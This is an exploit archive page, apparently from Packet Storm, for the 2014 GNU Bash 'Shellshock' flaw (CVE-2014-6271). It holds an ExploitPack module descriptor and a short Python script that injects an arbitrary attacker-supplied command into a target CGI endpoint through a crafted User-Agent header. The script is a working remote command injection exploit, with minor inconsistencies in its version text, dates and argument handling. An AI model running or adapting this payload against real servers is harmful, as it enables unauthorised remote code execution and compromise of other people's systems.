exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GNU Bash 4.3 Command Injection

GNU Bash 4.3 Command Injection
Posted Sep 29, 2014
Authored by Juan Sacco

ExploitPack GNU Bash versions 4.3 and below command injection exploit that leverages the User-Agent header against a given website.

tags | exploit, bash
advisories | CVE-2014-6271
SHA-256 | 142c835b75cbe04a6ca350ec7bb8fea228669c18def84dd5d24a93513e005852

GNU Bash 4.3 Command Injection

Change Mirror Download
<?xml version="1.0" encoding="UTF-8"?>

<Module>


<Exploit NameXML="Bash-CMD-Injection" CodeName="BashCMDInjection.py"
Platform="linux" Service="http" Type="remote" RemotePort="80" LocalPort=
"4444" ShellcodeAvailable="E" ShellPort="4444" SpecialArgs="">

</Exploit>


<Information Author="Juan Sacco" Date="Dec 29 2014" Vulnerability=
"2014-6271">

GNU Bash through 4.3 processes trailing strings after function definitions
in the values of

environment variables, which allows remote attackers to execute arbitrary
code via a crafted environment.

</Information>


<Targets>

Any Bash 4.43 > and prior

</Targets>


</Module>

# Modified by JSacco - jsacco@exploitpack.com

# Exploit Pack 2014

# How to run: checkCVE20146271.py http://www.server.com/script.cgi


import urllib2, sys


Target = sys.argv[1]

Port = int(sys.argv[2])

ShellcodeType = sys.argv[3]

Extra = sys.argv[4]


print "Check a host: checkbash.py http://www.domain.com/script.cgi"

print "Info: GNU Bash through 4.3 processes trailing strings after function
definitions in the values of environment variables, which allows remote
attackers to execute arbitrary code via a crafted environment, as
demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd,
the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts
executed by unspecified DHCP clients, and other situations in which setting
the environment occurs across a privilege boundary from Bash execution, aka
ShellShock."

print "###########################################################"

header = {'User-Agent': '() { :;}; echo Content-type:text/plain;echo;%s'
%(Extra)}


request = urllib2.Request(Target, '', header)

if urllib2.urlopen(request).read().find("www") != -1 or
urllib2.urlopen(request).read().find("http") != -1:

print "Response from server:", urllib2.urlopen(request).read()

print "Seems vulnerable:", Target
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close